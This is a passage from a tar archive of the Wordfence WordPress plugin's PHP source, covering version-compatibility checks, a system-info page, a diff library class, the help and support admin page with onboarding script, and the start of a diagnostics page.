$wfWordPressDeprecatingVersion), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()))) . ' ' . esc_html__('Learn More', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')' ); } else { wfAdminNoticeQueue::removeAdminNotice(false, 'wordpressVersionCheck'); } if (wfAdminNoticeQueue::hasNotice('wordpressVersionCheck')) { return false; } return true; } private function _alertEmail($checkKey, $title, $body) { if (!wfConfig::get($checkKey)) { wordfence::alert($title, $body, wfUtils::getIP()); wfConfig::set($checkKey, true); } } private function _adminNotice($checkKey, $noticeKey, $message) { if (!wfConfig::get($checkKey)) { wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, $message, $noticeKey); wfConfig::set($checkKey, true); } } /** * Returns whether or not the PHP version meets our minimum requirement or is a version being deprecated. * * @return string One of the VERSION_ constants. */ public function checkPHPVersion() { require(dirname(__FILE__) . '/wfVersionSupport.php'); /** * @var string $wfPHPDeprecatingVersion * @var string $wfPHPMinimumVersion */ if (version_compare(phpversion(), $wfPHPDeprecatingVersion, '>=')) { return self::VERSION_COMPATIBLE; } if ($wfPHPDeprecatingVersion != $wfPHPMinimumVersion && version_compare(phpversion(), $wfPHPMinimumVersion, '>=')) { return self::VERSION_DEPRECATED; } return self::VERSION_UNSUPPORTED; } /** * Returns whether or not the OpenSSL version meets our minimum requirement or is a version being deprecated. * * @return string One of the VERSION_ constants. */ public function checkOpenSSLVersion() { require(dirname(__FILE__) . '/wfVersionSupport.php'); /** * @var string $wfOpenSSLDeprecatingVersion * @var string $wfOpenSSLMinimumVersion */ if (self::openssl_version_compare($wfOpenSSLDeprecatingVersion) <= 0) { return self::VERSION_COMPATIBLE; } if ($wfOpenSSLDeprecatingVersion != $wfOpenSSLMinimumVersion && self::openssl_version_compare($wfOpenSSLMinimumVersion) <= 0) { return self::VERSION_DEPRECATED; } return self::VERSION_UNSUPPORTED; } /** * Returns whether or not the WordPress version meets our minimum requirement or is a version being deprecated. * * @return string One of the VERSION_ constants. */ public function checkWordPressVersion() { require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */ require(dirname(__FILE__) . '/wfVersionSupport.php'); /** * @var string $wfWordPressDeprecatingVersion * @var string $wfWordPressMinimumVersion */ if (version_compare($wp_version, $wfWordPressDeprecatingVersion, '>=')) { return self::VERSION_COMPATIBLE; } if ($wfWordPressDeprecatingVersion != $wfWordPressMinimumVersion && version_compare($wp_version, $wfWordPressMinimumVersion, '>=')) { return self::VERSION_DEPRECATED; } return self::VERSION_UNSUPPORTED; } /** * Utility Functions */ /** * Returns whether or not the OpenSSL version is before, after, or equal to the equivalent text version string. * * @param string $compareVersion * @param int $openSSLVersion A version number in the format OpenSSL uses. * @param bool $allowDevBeta If true, dev and beta versions of $compareVersion are treated as equivalent to release versions despite having a lower version number. * @return bool|int Returns -1 if $compareVersion is earlier, 0 if equal, 1 if later, and false if not a valid version string. */ public static function openssl_version_compare($compareVersion, $openSSLVersion = OPENSSL_VERSION_NUMBER, $allowDevBeta = true) { if (preg_match('/^(\d+)\.(\d+)\.(\d+)([a-z]*)((?:-dev|-beta\d\d?)?)/i', $compareVersion, $matches)) { $primary = 0; $major = 0; $minor = 0; $fixLetterIndexes = 0; $patch = self::OPENSSL_RELEASE; if (isset($matches[1])) { $primary = (int) $matches[1]; } if (isset($matches[2])) { $major = (int) $matches[2]; } if (isset($matches[3])) { $minor = (int) $matches[3]; } if (isset($matches[4]) && !empty($matches[4])) { $letters = str_split($matches[4]); foreach ($letters as $l) { $fixLetterIndexes += strpos('abcdefghijklmnopqrstuvwxyz', strtolower($l)) + 1; } } if (isset($matches[5]) && !empty($matches[5])) { if (preg_match('/^-beta(\d+)$/i', $matches[5], $betaMatches)) { $patch = (int) $betaMatches[1]; } else { $patch = self::OPENSSL_DEV; } } $compareOpenSSLVersion = self::openssl_make_number_version($primary, $major, $minor, $fixLetterIndexes, $patch); if ($allowDevBeta) { $compareOpenSSLVersion = $compareOpenSSLVersion >> 4; $openSSLVersion = $openSSLVersion >> 4; } if ($compareOpenSSLVersion < $openSSLVersion) { return -1; } else if ($compareOpenSSLVersion == $openSSLVersion) { return 0; } return 1; } return false; } /** * Builds a number that can be compared to OPENSSL_VERSION_NUMBER from the parameters given. This is a modified * version of the macro in the OpenSSL source. * * @param int $primary The '1' in 1.0.2g. * @param int $major The '0' in 1.0.2g. * @param int $minor The '2' in 1.0.2g. * @param int $fixLetterIndexes The 'g' in 1.0.2g. This can potentially be multiple letters, in which case, all of the indexes are added. * @param int $patch * @return int */ public static function openssl_make_number_version($primary, $major, $minor, $fixLetterIndexes = 0, $patch = 0) { return ((($primary & 0xff) << 28) + (($major & 0xff) << 20) + (($minor & 0xff) << 12) + (($fixLetterIndexes & 0xff) << 4) + $patch); } /** * Builds a text version of the OpenSSL version from a number-formatted one. * * @param int $number * @return string */ public static function openssl_make_text_version($number = OPENSSL_VERSION_NUMBER) { $primary = (($number >> 28) & 0xff); $major = (($number >> 20) & 0xff); $minor = (($number >> 12) & 0xff); $fix = (($number >> 4) & 0xff); $patch = ($number & 0xf); //0 is dev, 1-14 are betas, 15 is release $alphabet = str_split('abcdefghijklmnopqrstuvwxyz'); $fixLetters = ''; while ($fix > 26) { $fixLetters .= 'z'; $fix -= 26; } if (array_key_exists($fix - 1, $alphabet)) { $fixLetters .= $alphabet[$fix - 1]; } $version = "{$primary}.{$major}.{$minor}{$fixLetters}"; if ($patch == self::OPENSSL_DEV) { $version .= '-dev'; } else if ($patch == self::OPENSSL_RELEASE) { //Do nothing } else { $version .= '-beta' . $patch; } return $version; } }sysinfo.php000064400000002730147206764270006770 0ustar00 <?php esc_html_e('Wordfence System Info', 'wordfence') ?> ?ver=' type='text/css' media='all' /> ' . esc_html__('Unable to output phpinfo content because it is disabled', 'wordfence') . "\n"; } $out = ob_get_clean(); $out = str_replace('width="600"','width="900"', $out); // $out = preg_replace('//s', '', $out); $out = preg_replace('/]+>/', '', $out); $out = preg_replace('/<\/a>/', '', $out); $out = preg_replace('/[^<]*<\/title>/','', $out); echo $out; ?> <div class="diffFooter"><?php echo wp_kses(sprintf(__('© %d to %d Wordfence — Visit <a href="http://wordfence.com/">Wordfence.com</a> for help, security updates and more.', 'wordfence'), date_i18n('Y', WORDFENCE_EPOCH), date_i18n('Y')), array('a'=>array('href'=>array()))) ?></div> </body> </html>����������������������������������������Diff.php��������������������������������������������������������������������������������������������0000644�����������������00000013202�14720676427�0006142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Diff * * A comprehensive library for generating differences between two strings * in multiple formats (unified, side by side HTML etc) * * PHP version 5 * * Copyright (c) 2009 Chris Boulton <chris.boulton@interspire.com> * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Chris Boulton nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package Diff * @author Chris Boulton <chris.boulton@interspire.com> * @copyright (c) 2009 Chris Boulton * @license New BSD License http://www.opensource.org/licenses/bsd-license.php * @version 1.1 * @link http://github.com/chrisboulton/php-diff */ class Diff { /** * @var array The "old" sequence to use as the basis for the comparison. */ private $a = null; /** * @var array The "new" sequence to generate the changes for. */ private $b = null; /** * @var array Array containing the generated opcodes for the differences between the two items. */ private $groupedCodes = null; /** * @var array Associative array of the default options available for the diff class and their default value. */ private $defaultOptions = array( 'context' => 3, 'ignoreNewLines' => false, 'ignoreWhitespace' => false, 'ignoreCase' => false ); /** * @var array Array of the options that have been applied for generating the diff. */ private $options = array(); /** * The constructor. * * @param array $a Array containing the lines of the first string to compare. * @param array $b Array containing the lines for the second string to compare. */ public function __construct($a, $b, $options=array()) { $this->a = $a; $this->b = $b; $this->options = array_merge($this->defaultOptions, $options); } /** * Render a diff using the supplied rendering class and return it. * * @param object $renderer An instance of the rendering object to use for generating the diff. * @return mixed The generated diff. Exact return value depends on the rendered. */ public function render(Diff_Renderer_Abstract $renderer) { $renderer->diff = $this; return $renderer->render(); } /** * Get a range of lines from $start to $end from the first comparison string * and return them as an array. If no values are supplied, the entire string * is returned. It's also possible to specify just one line to return only * that line. * * @param int $start The starting number. * @param int $end The ending number. If not supplied, only the item in $start will be returned. * @return array Array of all of the lines between the specified range. */ public function getA($start=0, $end=null) { if($start == 0 && $end === null) { return $this->a; } if($end === null) { $length = 1; } else { $length = $end - $start; } return array_slice($this->a, $start, $length); } /** * Get a range of lines from $start to $end from the second comparison string * and return them as an array. If no values are supplied, the entire string * is returned. It's also possible to specify just one line to return only * that line. * * @param int $start The starting number. * @param int $end The ending number. If not supplied, only the item in $start will be returned. * @return array Array of all of the lines between the specified range. */ public function getB($start=0, $end=null) { if($start == 0 && $end === null) { return $this->b; } if($end === null) { $length = 1; } else { $length = $end - $start; } return array_slice($this->b, $start, $length); } /** * Generate a list of the compiled and grouped opcodes for the differences between the * two strings. Generally called by the renderer, this class instantiates the sequence * matcher and performs the actual diff generation and return an array of the opcodes * for it. Once generated, the results are cached in the diff class instance. * * @return array Array of the grouped opcodes for the generated diff. */ public function getGroupedOpcodes() { if(!is_null($this->groupedCodes)) { return $this->groupedCodes; } require_once(dirname(__FILE__) . '/Diff/SequenceMatcher.php'); $sequenceMatcher = new Diff_SequenceMatcher($this->a, $this->b, null, $this->options); $this->groupedCodes = $sequenceMatcher->getGroupedOpcodes(); return $this->groupedCodes; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������menu_support.php������������������������������������������������������������������������������������0000644�����������������00000043422�14720676427�0010041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!defined('WORDFENCE_VERSION')) { exit; } if (!wfOnboardingController::shouldShowAttempt3() && wfConfig::get('touppPromptNeeded')) { echo wfView::create('gdpr/banner')->render(); } $support = @json_decode(wfConfig::get('supportContent'), true); ?> <div class="wrap wordfence"> <div class="wf-container-fluid"> <div class="wf-row"> <div class="wf-col-xs-12"> <div class="wp-header-end"></div> <?php echo wfView::create('common/section-title', array( 'title' => __('Help', 'wordfence'), 'showIcon' => true, ))->render(); ?> </div> <div class="wf-col-xs-12"> <div class="wf-block wf-active"> <div class="wf-block-content"> <ul class="wf-block-list"> <li> <ul class="wf-block-list wf-block-list-horizontal"> <li class="wf-flex-vertical"> <?php if (wfLicense::current()->isPaidAndCurrent()): ?> <h3><?php esc_html_e('Premium Support', 'wordfence'); ?></h3> <p class="wf-center"> <?php if (wfLicense::current()->isResponse()): ?> <?php esc_html_e('As a Wordfence Response customer you are entitled to hands-on priority support 24 hours a day 365 days a year. Our incident response team is available out of hours to handle urgent issues and security incidents. Our customer support team is available during business hours (Monday to Friday, 6am to 5pm Pacific and 9am to 8pm Eastern time) for product assistance. Both teams can sign-in to your site to assist, on request.', 'wordfence'); ?> <?php elseif (wfLicense::current()->isCare()): ?> <?php esc_html_e('As a Wordfence Care customer you are entitled to hands-on priority support and have access to our incident response team. Our senior support engineers and incident response team respond to requests quickly within business hours (Monday to Friday, 6am to 5pm Pacific and 9am to 8pm Eastern time) and can sign-in to your site on request to assist with complex issues.', 'wordfence'); ?> <?php else: ?> <?php esc_html_e('As a Wordfence Premium customer you\'re entitled to paid support via our ticketing system. Our senior support engineers respond to Premium tickets during regular business hours (Monday to Friday, 6am to 5pm Pacific and 9am to 8pm Eastern time) and have a direct line to our QA and development teams.', 'wordfence') ?> <?php endif ?> </p> <p> <a href="<?php echo esc_attr(wfLicense::current()->getSupportUrl('helpPageSupport')) ?>" target="_blank" rel="noopener noreferrer" class="wf-btn wf-btn-primary wf-btn-callout-subtle"><?php esc_html_e('Get Help', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <div> <?php if (wfLicense::current()->isBelowCare()): ?> <a href="https://www.wordfence.com/gnl1helpPageCare/products/wordfence-care/" target="_blank" rel="noopener noreferrer"><?php esc_html_e('Upgrade to hands-on support with Wordfence Care', 'wordfence') ?></a> <?php elseif (wfLicense::current()->isBelowResponse()): ?> <a href="https://www.wordfence.com/gnl1helpPageResponse/products/wordfence-response/" target="_blank" rel="noopener noreferrer"><?php esc_html_e('Upgrade to a 24/7 1-hour response time with Wordfence Response', 'wordfence') ?></a> <?php endif ?> </div> </p> <?php else: ?> <h3><?php esc_html_e('Upgrade Now to Access Premium Support', 'wordfence'); ?></h3> <p class="wf-center"><?php echo wp_kses(__('Our senior support engineers <strong>respond to Premium tickets within a few hours</strong> on average and have a direct line to our QA and development teams.', 'wordfence'), array('strong'=>array())); ?></p> <p><a href="https://www.wordfence.com/gnl1supportUpgrade/wordfence-signup/" target="_blank" rel="noopener noreferrer" class="wf-btn wf-btn-primary wf-btn-callout-subtle"><?php esc_html_e('Upgrade to Premium', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></p> <?php endif; ?> </li> <li class="wf-flex-vertical"> <h3><?php esc_html_e('Free Support', 'wordfence'); ?></h3> <p class="wf-center"><?php echo wp_kses(__('Support for free customers is available via our forums page on wordpress.org. The majority of requests <strong>receive an answer within a few days.</strong>', 'wordfence'), array('strong'=>array())); ?></p> <p><a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_FREE); ?>" target="_blank" rel="noopener noreferrer" class="wf-btn wf-btn-default wf-btn-callout-subtle"><?php esc_html_e('Go to Support Forums', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></p> </li> </ul> </li> </ul> </div> </div> </div> </div> <div class="wf-row"> <div class="wf-col-xs-12"> <div class="wf-block<?php echo (wfPersistenceController::shared()->isActive('support-gdpr') ? ' wf-active' : ''); ?>" data-persistence-key="support-gdpr"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('GDPR Information', 'wordfence'); ?></strong> </div> <div class="wf-block-header-action"><div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('support-gdpr') ? 'true' : 'false'); ?>" tabindex="0"></div></div> </div> </div> <div class="wf-block-content"> <ul class="wf-block-list"> <li> <ul class="wf-option wf-option-static"> <li class="wf-option-title"> <ul class="wf-flex-vertical wf-flex-align-left"> <li><?php esc_html_e('General Data Protection Regulation', 'wordfence'); ?> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_GDPR); ?>" target="_blank" rel="noopener noreferrer" class="wf-inline-help"><i class="wf-fa wf-fa-question-circle-o" aria-hidden="true"></i><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></li> <li class="wf-option-subtitle"><?php esc_html_e('The GDPR is a set of rules that provides more control over EU personal data. Defiant has updated its terms of service, privacy policies, and software, as well as made available standard contractual clauses to meet GDPR compliance.', 'wordfence'); ?></li> </ul> </li> </ul> </li> <li> <ul class="wf-option wf-option-static"> <li class="wf-option-title"> <ul class="wf-flex-vertical wf-flex-align-left"> <li><?php esc_html_e('Agreement to New Terms and Privacy Policies', 'wordfence'); ?></li> <li class="wf-option-subtitle"><?php esc_html_e('To continue using Defiant products and services including the Wordfence plugin, all customers must review and agree to the updated terms and privacy policies. These changes reflect our commitment to follow data protection best practices and regulations. The Wordfence interface will remain disabled until these terms are agreed to.', 'wordfence'); ?></li> </ul> </li> </ul> </li> </ul> </div> </div> </div> </div> <!-- end GDPR --> <?php if (isset($support['all'])): ?> <div class="wf-row"> <div class="wf-col-xs-12 wf-col-sm-9 wf-col-sm-half-padding-right wf-add-top"> <h3 class="wf-no-top"><?php esc_html_e('All Documentation', 'wordfence'); ?></h3> </div> </div> <div class="wf-row"> <div class="wf-col-xs-12 wf-col-sm-3 wf-col-sm-push-9 wf-col-sm-half-padding-left"> <div class="wf-block wf-active"> <div class="wf-block-content"> <div class="wf-support-top-block"> <h4><?php esc_html_e('Top Topics and Questions', 'wordfence'); ?></h4> <ol> <?php if (isset($support['top'])): foreach ($support['top'] as $entry): ?> <li><a href="<?php echo esc_url($entry['permalink']); ?>" target="_blank" rel="noopener noreferrer"><?php echo esc_html($entry['title']); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></li> <?php endforeach; endif; ?> </ol> </div> </div> </div> </div> <div class="wf-col-xs-12 wf-col-sm-9 wf-col-sm-pull-3 wf-col-sm-half-padding-right"> <?php if (isset($support['all'])): foreach ($support['all'] as $entry): ?> <div class="wf-block wf-active wf-add-bottom"> <div class="wf-block-content"> <div class="wf-support-block"> <h4><a href="<?php echo esc_url($entry['permalink']); ?>" target="_blank" rel="noopener noreferrer"><?php echo esc_html($entry['title']); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></h4> <p><?php echo esc_html($entry['excerpt']); ?></p> <?php if (isset($entry['children'])): ?> <ul> <?php foreach ($entry['children'] as $child): ?> <li><a href="<?php echo esc_url($child['permalink']); ?>" target="_blank" rel="noopener noreferrer"><?php echo esc_html($child['title']); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></li> <?php endforeach; ?> </ul> <?php endif; ?> </div> </div> </div> <?php endforeach; endif; ?> </div> </div> <?php else: ?> <div class="wf-row"> <div class="wf-col-xs-12"> <div class="wf-block wf-active"> <div class="wf-block-content"> <div class="wf-support-missing-block"> <h4><?php esc_html_e('Documentation', 'wordfence'); ?></h4> <p><?php echo wp_kses(__('Documentation about Wordfence may be found on our website by clicking the button below or by clicking the <i class="wf-fa wf-fa-question-circle-o" aria-hidden="true"></i> links on any of the plugin\'s pages.', 'wordfence'), array('i'=>array('class'=>array(), 'aria-hidden'=>array()))); ?></p> <p class="wf-no-bottom"><a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_INDEX); ?>" target="_blank" rel="noopener noreferrer" class="wf-btn wf-btn-default wf-btn-callout-subtle"><?php esc_html_e('View Documentation', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a></p> </div> </div> </div> </div> </div> <?php endif; ?> </div> <!-- end container --> </div> <?php if (wfOnboardingController::shouldShowAttempt3()): ?> <?php wfConfig::set('onboardingAttempt3Initial', true); ?> <script type="text/x-jquery-template" id="wfTmpl_onboardingFinal"> <?php echo wfView::create('onboarding/modal-final-attempt')->render(); ?> </script> <script type="application/javascript"> (function($) { $(function() { var prompt = $('#wfTmpl_onboardingFinal').tmpl(); var promptHTML = $("<div />").append(prompt).html(); WFAD.colorboxHTML('800px', promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() { setTimeout(function() { $('#wf-onboarding-subscribe-controls > p').show(); $.wfcolorbox.resize(); }, 30000); $('#wf-onboarding-subscribe .wf-switch > li').each(function(index, element) { $(element).on('click', function(e) { e.preventDefault(); e.stopPropagation(); var control = $(this).closest('.wf-switch'); control.find('li').removeClass('wf-active'); $(this).addClass('wf-active'); $('#wf-onboarding-continue').toggleClass('wf-disabled', wordfenceExt.parseEmails($('#wf-onboarding-alerts').val()).length == 0 || !($('#wf-onboarding-agree').is(':checked')) || $('#wf-onboarding-subscribe .wf-switch > li.wf-active').length == 0); }); }); $('#wf-onboarding-agree').on('change', function() { $('#wf-onboarding-continue').toggleClass('wf-disabled', wordfenceExt.parseEmails($('#wf-onboarding-alerts').val()).length == 0 || !($('#wf-onboarding-agree').is(':checked')) || $('#wf-onboarding-subscribe .wf-switch > li.wf-active').length == 0); }); $('#wf-onboarding-alerts').on('change paste keyup', function() { setTimeout(function() { $('#wf-onboarding-continue').toggleClass('wf-disabled', wordfenceExt.parseEmails($('#wf-onboarding-alerts').val()).length == 0 || !($('#wf-onboarding-agree').is(':checked')) || $('#wf-onboarding-subscribe .wf-switch > li.wf-active').length == 0); }, 100); }).trigger('change'); $('#wf-onboarding-continue').on('click', function(e) { e.preventDefault(); e.stopPropagation(); var touppAgreed = !!$('#wf-onboarding-agree').is(':checked'); if (!touppAgreed) { return; } var emails = wordfenceExt.parseEmails($('#wf-onboarding-alerts').val()); if (emails.length > 0) { var subscribe = !!parseInt($('#wf-onboarding-subscribe .wf-switch > li.wf-active').data('optionValue')); wordfenceExt.onboardingProcessEmails(emails, subscribe, touppAgreed); <?php if (wfConfig::get('isPaid')): ?> wordfenceExt.setOption('onboardingAttempt3', '<?php echo esc_attr(wfOnboardingController::ONBOARDING_LICENSE); ?>'); $('#wf-onboarding-banner').slideUp(); WFAD.colorboxClose(); if (WFAD.tour1) { setTimeout(function() { WFAD.tour1(); }, 500); } <?php else: ?> wordfenceExt.setOption('onboardingAttempt3', '<?php echo esc_attr(wfOnboardingController::ONBOARDING_EMAILS); ?>'); $('#wf-onboarding-final-attempt-1, .wf-modal-footer').fadeOut(400, function() { $('#wf-onboarding-final-attempt-2').fadeIn(); $.wfcolorbox.resize(); }); <?php endif; ?> } }); $('#wf-onboarding-license input').on('change paste keyup', function() { setTimeout(function() { $('#wf-onboarding-license-install').toggleClass('wf-disabled', $('#wf-onboarding-license input').val().length == 0); }, 100); }).trigger('change'); $('#wf-onboarding-license-install').on('click', function(e) { e.preventDefault(); e.stopPropagation(); $('#wf-onboarding-license-status').fadeOut(); var license = $('#wf-onboarding-license input').val(); wordfenceExt.onboardingInstallLicense(license, function(res) { //Success if (res.isPaid) { wordfenceExt.setOption('onboardingAttempt3', '<?php echo esc_attr(wfOnboardingController::ONBOARDING_LICENSE); ?>'); //$('#wf-onboarding-license-status').addClass('wf-green-dark').removeClass('wf-yellow-dark wf-red-dark').text('You have successfully installed a premium license.').fadeIn(); //$('#wf-onboarding-license-install').text('Installed').addClass('wf-disabled'); //$('#wf-onboarding-license input').attr('disabled', true); $('#wf-onboarding-banner').slideUp(); $('#wf-onboarding-final-attempt .wf-modal-header-action-close').off('click'); /*$('#wf-onboarding-premium-cta, #wf-onboarding-license-footer, #wf-onboarding-or').fadeOut(400, function() { $('#wf-onboarding-license-finished').fadeIn(); $.wfcolorbox.resize(); });*/ var html = '<div class="wf-modal wf-modal-success"><div class="wf-model-success-wrapper"><div class="wf-modal-header"><div class="wf-modal-header-content"><div class="wf-modal-title"><?php esc_html_e('Premium License Installed', 'wordfence'); ?></div></div></div><div class="wf-modal-content"><?php esc_html_e('Congratulations! Wordfence Premium is now active on your website. Please note that some Premium features are not enabled by default.', 'wordfence'); ?></div></div><div class="wf-modal-footer"><ul class="wf-onboarding-flex-horizontal wf-onboarding-flex-align-right wf-onboarding-full-width"><li><a href="<?php echo esc_url(network_admin_url('admin.php?page=Wordfence')); ?>" class="wf-onboarding-btn wf-onboarding-btn-primary"><?php esc_html_e('Continue', 'wordfence'); ?></a></li></ul></div></div>'; $.wfcolorbox({ width: (wordfenceExt.isSmallScreen ? '300px' : '500px'), html: html, overlayClose: true, closeButton: false, className: 'wf-modal' }); <?php //Congratulations! Wordfence Premium is now active on your website. Please note that some Premium features are not enabled by default. Read this brief article to learn more about <a href="#todo" target="_blank" rel="noopener noreferrer">getting the most out of Wordfence Premium</a>. ?> } else { //Unlikely to happen but possible $('#wf-onboarding-license-status').addClass('wf-yellow-dark').removeClass('wf-green-dark wf-red-dark').text('You have successfully installed a free license.').fadeIn(); $.wfcolorbox.resize(); } }, function(error) { //Error $('#wf-onboarding-license-status').addClass('wf-red-dark').removeClass('wf-green-dark wf-yellow-dark').text(error || <?php echo json_encode(__('An unknown error occurred.', 'wordfence')) ?>).fadeIn(); $.wfcolorbox.resize(); }); }); $('#wf-onboarding-no-thanks, #wf-onboarding-final-attempt .wf-modal-header-action-close').on('click', function(e) { e.preventDefault(); e.stopPropagation(); if ($('#wf-onboarding-final-attempt-2').is(':visible')) { wordfenceExt.setOption('onboardingAttempt3', '<?php echo esc_attr(wfOnboardingController::ONBOARDING_LICENSE); ?>'); $('#wf-onboarding-banner').slideUp(); } WFAD.colorboxClose(); if (WFAD.tour1) { setTimeout(function() { WFAD.tour1(); }, 500); } }); }}); }); })(jQuery); </script> <?php endif; ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������menu_tools_diagnostic.php���������������������������������������������������������������������������0000644�����������������00000142461�14720676427�0011674 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!defined('WORDFENCE_VERSION')) { exit; } /** @var boolean $inEmail */ $diagnostic = new wfDiagnostic; $plugins = get_plugins(); $activePlugins = array_flip(get_option('active_plugins')); $activeNetworkPlugins = is_multisite() ? array_flip(wp_get_active_network_plugins()) : array(); $muPlugins = get_mu_plugins(); $themes = wp_get_themes(); $currentTheme = wp_get_theme(); $cols = 3; $w = new wfConfig(); if (!isset($sendingDiagnosticEmail)) { $sendingDiagnosticEmail = false; } ?> <?php if (!$sendingDiagnosticEmail): ?> <script type="application/javascript"> (function($) { $(function() { document.title = "<?php esc_attr_e('Diagnostics', 'wordfence'); ?>" + " \u2039 " + WFAD.basePageName; }); })(jQuery); </script> <?php endif; ?> <div id="wf-diagnostics"> <?php if (!$sendingDiagnosticEmail): ?> <div class="wf-diagnostics-wrapper"> <div class="wf-flex-row"> <div class="wf-flex-row-1"> <?php echo wp_kses(sprintf(__('This page shows information that can be used for troubleshooting conflicts, configuration issues, or compatibility with other plugins, themes, or a host\'s environment. Failing tests are not always a sign of something that you need to fix, but can help the Wordfence team when troubleshooting a problem. (<a href="%s" target="_blank" rel="noopener noreferrer">Learn More <span class="screen-reader-text">opens in new tab</span></a>)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS)), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))) ?> </div> <div class="wf-flex-row-0 wf-padding-add-left"> <div id="sendByEmailThanks" class="hidden"> <h3><?php esc_html_e('Thanks for sending your diagnostic page over email', 'wordfence'); ?></h3> </div> <div id="sendByEmailDiv" class="wf-add-bottom"> <span class="wf-nowrap"> <input class="wf-btn wf-btn-primary wf-btn-sm" type="submit" id="exportDiagnostics" value="Export"/> <input class="wf-btn wf-btn-primary wf-btn-sm" type="submit" id="sendByEmail" value="Send Report by Email"/> <input class="wf-btn wf-btn-default wf-btn-sm" type="button" id="expandAllDiagnostics" value="Expand All Diagnostics"/> </span> </div> </div> </div> <div id="sendByEmailForm" class="wf-block wf-active hidden"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Send Report by Email', 'wordfence') ?></strong> </div> </div> </div> <div class="wf-block-content wf-clearfix"> <ul class="wf-block-list"> <li> <div><?php esc_html_e('Email address:', 'wordfence'); ?></div> <div style="width: 40%"> <p><input class="wf-input-text" type="email" id="_email" value="wftest@wordfence.com"/> </p> </div> </li> <li> <div><?php esc_html_e('Ticket Number/Forum Username:', 'wordfence'); ?></div> <div style="width: 40%"> <p><input class="wf-input-text" type="text" id="_ticketnumber" required/></p> </div> </li> <li> <p> <input class="wf-btn wf-btn-primary" type="button" id="doSendEmail" value="Send"/> </p> </li> </ul> </div> </div> </div> <?php endif; ?> <div class="wf-diagnostics-wrapper"> <?php foreach ($diagnostic->getResults() as $title => $tests): $key = sanitize_key('wf-diagnostics-' . $title); $hasFailingTest = false; foreach ($tests['results'] as $result) { $infoOnly = isset($result['infoOnly']) && $result['infoOnly']; if (!$result['test'] && !$infoOnly) { $hasFailingTest = true; break; } } if ($inEmail): ?> <table> <thead> <tr> <th colspan="2"><?php echo esc_html($title) ?></th> </tr> </thead> <tbody> <?php foreach ($tests['results'] as $result): ?> <?php $infoOnly = isset($result['infoOnly']) && $result['infoOnly']; ?> <tr> <td style="width: 75%; min-width: 300px"><?php echo (is_array($result['label']) && isset($result['label']['raw']) && $result['label']['raw'] ? $result['label']['value'] : wp_kses($result['label'], array( 'code' => array(), 'strong' => array(), 'em' => array(), 'a' => array('href' => true), 'span' => array('class' => true) ))) ?></td> <td> <?php if ($infoOnly): ?> <div class="wf-result-info"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : nl2br(esc_html($result['message']))); ?></div> <?php elseif ($result['test']): ?> <div class="wf-result-success"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : 